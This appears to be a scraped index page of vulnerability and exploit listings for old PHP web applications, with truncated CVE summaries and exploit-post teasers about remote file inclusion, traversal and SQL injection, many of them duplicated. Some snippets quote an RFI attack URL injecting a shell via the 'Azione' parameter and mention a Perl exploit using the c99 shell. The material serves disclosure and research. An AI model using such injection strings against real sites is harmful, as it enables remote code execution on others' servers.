WB News 2.1.1 Remote File Inclusion

-----------------:Remote File Include:----------------- ------------------------------------------------------- script:wb news v2.1.1 ------------------------------------------------------------------ download from:http://www.webmobo.com/downloads/...

[Full-disclosure] PHP-Calendar SQL Credential Disclosure

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Security Risk: Moderate Exploitable: Remotely Vulnerability: Information disclosure Version: Multiple Versions PHP-Calendar http://www.php-calendar.com was "written for a college social group at Northeastern University to keep track of events, etc. We...

CVE-2009-0463

CVE-2009-0463 affects Groone GLinks 2.1. A PHP remote file include vulnerability in includes/header.php allows an attacker to inject a URL via the abspath parameter to execute arbitrary PHP code. Root cause: improper handling of abspath enabling remote file inclusion. Impact: arbitrary code execu...

CVE-2009-0464

PHP remote file inclusion vulnerability in includes/header.php in Groone GBook 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter...

CVE-2009-0457

CVE-2009-0457 concerns multiple directory traversal vulnerabilities in AJA Portal 1.2. The issues allow remote attackers to include and execute arbitrary local files via directory traversal sequences in the currentlang parameter to admin/case.php (affecting the Contact_Plus and Reviews modules) a...

CVE-2009-0456

PHP remote file inclusion vulnerability in examples/exampleclientsidejavascript.php in patForms, as used in Sourdough 0.3.5, allows remote attackers to execute arbitrary PHP code via a URL in the neededFilespatForms parameter...

CVE-2009-0456

CVE-2009-0456 describes a PHP remote file inclusion vulnerability in patForms’ examples/example_clientside_javascript.php, used by Sourdough 0.3.5. The vulnerability allows an attacker to cause arbitrary PHP code execution by supplying a URL in the neededFiles[patForms] parameter. The connected r...

1024 CMS 1.4.4 - Remote Command Execution Remote File Inclusion

1024 CMS 1.4.4 - Remote Command Execution Remote File Inclusion !/usr/bin/perl 1024 CMS = 1.4.4 Remote Command Execution with RFI c99 Exploit download: http://www.trebledesigns.com/1024cms.zip Author: JosS mail: sys-projectathotmaildotcom site: http://www.hack0wn.com/ team: Spanish Hackers Team -...

phpYabs 0.1.2 - 'Azione' Remote File Inclusion

phpyabs 0.1.2 RFI Vulnerability FOUND BY: Arka69 BUG: Remote File Include RFI CMS: phpyabs 0.1.2 SITE: http://exploita.altervista.org VULNERABLE CODE: phpyabs/moduli/libri/index.php include$GET'Azione'.".php"; RFI: http://victim.com/phpyabs/moduli/libri/index.php?Azione=SHELL milw0rm.com 2009-02-...

ZeroBoard4 pl8 (07.12.17) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ========================================================= ZeroBoard4 pl8 07.12.17 Multiple Remote Vulnerabilities ========================================================= / ZeroBoard4 VERSION pl8 07.12.17is most famous and widely used...

ZeroBoard4 pl8 (07.12.17) Multiple Remote Vulnerabilities

No description provided by source. ZeroBoard4 pl8 07.12.17 Multiple Remote/Local Vulnerability bY [email protected] thx to : Flyh4t / ZeroBoard4 VERSION pl8 07.12.17is most famous and widely used bulletin board system of Korea. It is freely available for all platforms that supports PHP and MySQL...

phpYabs 0.1.2 Remote File Inclusion

phpyabs 0.1.2 RFI Vulnerability FOUND BY: Arka69 BUG: Remote File Include RFI CMS: phpyabs 0.1.2 SITE: http://exploita.altervista.org VULNERABLE CODE: phpyabs/moduli/libri/index.php include$GET'Azione'.".php"; RFI: http://victim.com/phpyabs/moduli/libri/index.php?Azione=SHELL...

1024 CMS 1.4.4 - Remote Command Execution / Remote File Inclusion

!/usr/bin/perl 1024 CMS = 1.4.4 Remote Command Execution with RFI c99 Exploit download: http://www.trebledesigns.com/1024cms.zip Author: JosS mail: sys-projectathotmaildotcom site: http://www.hack0wn.com/ team: Spanish Hackers Team - SHT Hack0wn Security Project!! This was written for educational...

ZeroBoard4 LFI / SQL Injection / Bypass

ZeroBoard4 pl8 07.12.17 Multiple Remote/Local Vulnerability bY [email protected] thx to : Flyh4t / ZeroBoard4 VERSION pl8 07.12.17is most famous and widely used bulletin board system of Korea. It is freely available for all platforms that supports PHP and MySQL. There are Remote File Inclusion?,...

phpYabs 0.1.2 - Azione Remote File Inclusion

phpYabs 0.1.2 - Azione Remote File Inclusion phpyabs 0.1.2 RFI Vulnerability FOUND BY: Arka69 BUG: Remote File Include RFI CMS: phpyabs 0.1.2 SITE: http://exploita.altervista.org VULNERABLE CODE: phpyabs/moduli/libri/index.php include$GET'Azione'.".php"; RFI:...

phpYabs 0.1.2 (Azione) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ========================================================== phpYabs 0.1.2 Azione Remote File Inclusion Vulnerability ========================================================== phpyabs 0.1.2 RFI Vulnerability FOUND BY: Arka69 BUG: Remote Fil...

CVE-2009-0441

PHP remote file inclusion vulnerability in skinshop/standard/2viewbody/bodydefault.php in TECHNOTE 7.2, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the shopthisskinpath parameter, a different vector than CVE-2008-4138...

CVE-2009-0441

CVE-2009-0441 describes a PHP remote file inclusion in TECHNOTE 7.2’s skin_shop/standard/2_view_body/body_default.php. The vulnerability occurs when register_globals is enabled and allows an attacker to execute arbitrary PHP code by supplying a URL in the shop_this_skin_path parameter (a differen...

CVE-2009-0444

GRBoard 1.8 is vulnerable to multiple PHP remote file inclusion attacks when register_globals is on and magic_quotes_gpc is off. The flaw allows an attacker-controlled URL parameter (theme) to cause arbitrary PHP code execution via various theme-related scripts (e.g., 179_squarebox_*/view.php) an...

CVE-2008-6066

Multiple PHP remote file inclusion vulnerabilities in MeetWeb 0.8 allow remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter to 1 modules.php, 2 ManagerResource.class.php, 3 ManagerRightsResource.class.php, 4 RegForm.class.php, 5 RegResource.class.php, and 6...